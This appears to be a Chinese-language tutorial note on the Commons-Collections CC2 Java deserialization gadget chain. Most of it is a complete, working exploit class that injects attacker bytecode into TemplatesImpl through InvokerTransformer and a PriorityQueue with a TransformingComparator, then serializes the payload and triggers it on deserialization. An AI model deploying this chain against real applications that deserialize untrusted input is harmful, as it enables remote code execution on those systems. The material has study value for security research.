CC2链

环境准备

JDK1.8(8u66),commons-collections4,javassist(3.12.1.GA)

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>

原理

在CC4链中调用链是利用了TrAXFilter中的构造器调用了TemplatesImpl中的newTransformer
而在CC2中则是是用InvokerTransformer调用TemplatesImpl中的newTransformer

因为利用InvokerTransformer调用的newTransformer,所以我们需要思考谁调用如何传入templates

PriorityQueue add()方法就可以传入templates
注意:在offer()中会调用siftup()会在反序列化前提前调用
所以我们可以先传入一个随意的东西new ConstantTransformer(1)

1
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

在通过反射去将属性换掉

1
2
3
4
5
6
7
8
9
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<TemplatesImpl> queue = new PriorityQueue<TemplatesImpl>(transformingComparator);

queue.add(templates);

Class a = transformingComparator.getClass();
Field fa = a.getDeclaredField("transformer");
fa.setAccessible(true);
fa.set(transformingComparator, invokerTransformer);

最终Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public boolean add(E e) {
return offer(e);
}

/**
* Inserts the specified element into this priority queue.
*
* @return {@code true} (as specified by {@link Queue#offer})
* @throws ClassCastException if the specified element cannot be
* compared with elements currently in this priority queue
* according to the priority queue's ordering
* @throws NullPointerException if the specified element is null
*/
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package com.javatest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\java-test\\CC4\\CC4\\target\\classes\\com\\javatest\\Pay.class"));
byte[][] codes = {code};

setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);
setValue(templates,"_tfactory",new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<TemplatesImpl> queue = new PriorityQueue<TemplatesImpl>(transformingComparator);

queue.add(templates);

Class a = transformingComparator.getClass();
Field fa = a.getDeclaredField("transformer");
fa.setAccessible(true);
fa.set(transformingComparator, invokerTransformer);

Class cl = Class.forName("java.util.PriorityQueue");
Field f = cl.getDeclaredField("size");
f.setAccessible(true);
f.set(queue, 2);

serialize(queue);
unserialize("ser1.bin");
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

public static void setValue(Object object, String fieldName, Object value) throws Exception {
Class obj = object.getClass();
Field field = obj.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
}